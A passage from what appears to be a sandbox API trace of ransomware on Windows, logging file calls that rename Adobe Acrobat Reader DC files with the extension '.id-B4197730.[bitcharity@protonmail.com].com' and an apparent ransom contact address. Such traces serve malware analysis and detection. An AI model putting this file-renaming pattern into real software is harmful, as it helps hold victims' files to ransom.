(x86)\\adobe\\acrobat reader dc\\reader\\idtemplates\\enu\\adobeid.pdf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.461] CloseHandle (hObject=0x11c4) returned 1 [0278.462] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.462] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.462] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\IDTemplates\\ENU\\DefaultID.pdf.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\idtemplates\\enu\\defaultid.pdf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.462] CloseHandle (hObject=0x11c4) returned 1 [0278.469] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Javascripts\\JSByteCodeWin.bin" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\javascripts\\jsbytecodewin.bin"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Javascripts\\JSByteCodeWin.bin.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\javascripts\\jsbytecodewin.bin.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0278.469] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.469] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.469] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Legal\\ENU\\eula.ini.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\legal\\enu\\eula.ini.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.470] CloseHandle (hObject=0x11c4) returned 1 [0278.470] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.470] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.470] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Legal\\ENU\\license.html.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\legal\\enu\\license.html.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.471] CloseHandle (hObject=0x11c4) returned 1 [0278.471] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.471] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.472] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\PDFSigQFormalRep.pdf.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\pdfsigqformalrep.pdf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.472] CloseHandle (hObject=0x11c4) returned 1 [0278.474] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.474] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.474] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annotations\\Stamps\\ENU\\Dynamic.pdf.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\annotations\\stamps\\enu\\dynamic.pdf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.474] CloseHandle (hObject=0x11c4) returned 1 [0278.475] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.475] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.475] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annotations\\Stamps\\ENU\\SignHere.pdf.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\annotations\\stamps\\enu\\signhere.pdf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.475] CloseHandle (hObject=0x11c4) returned 1 [0278.476] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.476] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.476] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annotations\\Stamps\\ENU\\StandardBusiness.pdf.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\annotations\\stamps\\enu\\standardbusiness.pdf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.476] CloseHandle (hObject=0x11c4) returned 1 [0278.477] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.477] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.477] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annotations\\Stamps\\Words.pdf.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\annotations\\stamps\\words.pdf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.477] CloseHandle (hObject=0x11c4) returned 1 [0278.479] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.479] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.479] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\RTC.der.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\rtc.der.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.480] CloseHandle (hObject=0x11c4) returned 1 [0279.089] SetFilePointerEx (in: hFile=0x11c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0279.089] SetFilePointerEx (in: hFile=0x11c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0279.089] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\add_reviewer.gif.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\tracker\\add_reviewer.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0279.089] CloseHandle (hObject=0x11c8) returned 1 [0281.296] SetFilePointerEx (in: hFile=0x11bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.296] SetFilePointerEx (in: hFile=0x11bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.296] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\apple-touch-icon-57x57-precomposed.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\apple-touch-icon-57x57-precomposed.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0281.296] CloseHandle (hObject=0x11bc) returned 1 [0281.646] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.646] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.646] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-left.gif.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-left.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0281.646] CloseHandle (hObject=0x10c0) returned 1 [0281.654] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.654] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.654] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\bg_pattern_RHP.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\bg_pattern_rhp.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0281.654] CloseHandle (hObject=0x10c0) returned 1 [0281.656] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.656] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.656] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\icons_retina.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\icons_retina.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0281.656] CloseHandle (hObject=0x10c0) returned 1 [0281.657] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.657] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.657] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\illustrations.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\illustrations.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0281.657] CloseHandle (hObject=0x10c0) returned 1 [0281.658] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.658] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.658] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\illustrations_retina.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\illustrations_retina.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0281.658] CloseHandle (hObject=0x10c0) returned 1 [0281.660] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.660] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.660] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\new_icons.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\new_icons.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0281.660] CloseHandle (hObject=0x10c0) returned 1 [0281.661] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.661] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.661] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\new_icons_retina.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\new_icons_retina.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0281.661] CloseHandle (hObject=0x10c0) returned 1 [0281.685] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.685] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.685] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account-select\\css\\main.css.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account-select\\css\\main.css.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0282.065] CloseHandle (hObject=0x10c0) returned 1 [0282.088] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.088] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.088] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\desktop-connector-files\\css\\main-selector.css.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\desktop-connector-files\\css\\main-selector.css.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0282.088] CloseHandle (hObject=0x10c0) returned 1 [0283.412] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.412] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.412] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\editpdf\\images\\themes\\dark\\rhp_world_icon_hover.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\editpdf\\images\\themes\\dark\\rhp_world_icon_hover.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0283.412] CloseHandle (hObject=0x115c) returned 1 [0283.822] SetFilePointerEx (in: hFile=0x11c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.822] SetFilePointerEx (in: hFile=0x11c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.822] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\exportpdfupsell-app\\css\\main.css.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\exportpdfupsell-app\\css\\main.css.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0283.823] CloseHandle (hObject=0x11c8) returned 1 [0283.850] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.850] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.850] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\img\\core_icons_fw.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\fss\\img\\core_icons_fw.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0283.850] CloseHandle (hObject=0x115c) returned 1 [0283.851] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.851] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.852] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\img\\faf_field_grabber.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\fss\\img\\faf_field_grabber.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0283.852] CloseHandle (hObject=0x115c) returned 1 [0283.853] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.853] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.853] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\img\\faf_icons.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\fss\\img\\faf_icons.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0283.853] CloseHandle (hObject=0x115c) returned 1 [0283.854] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.854] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.854] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\img\\faf_icons_retina.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\fss\\img\\faf_icons_retina.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0283.855] CloseHandle (hObject=0x115c) returned 1 [0283.856] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.856] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.856] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\img\\Handler@1x.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\fss\\img\\handler@1x.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0283.856] CloseHandle (hObject=0x115c) returned 1 [0283.857] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.857] SetFilePointerEx (in: hFile=0x115c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.857] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\img\\sample-thumb.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\fss\\img\\sample-thumb.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0283.857] CloseHandle (hObject=0x115c) returned 1 [0283.862] SetFilePointerEx (in: hFile=0x115c, 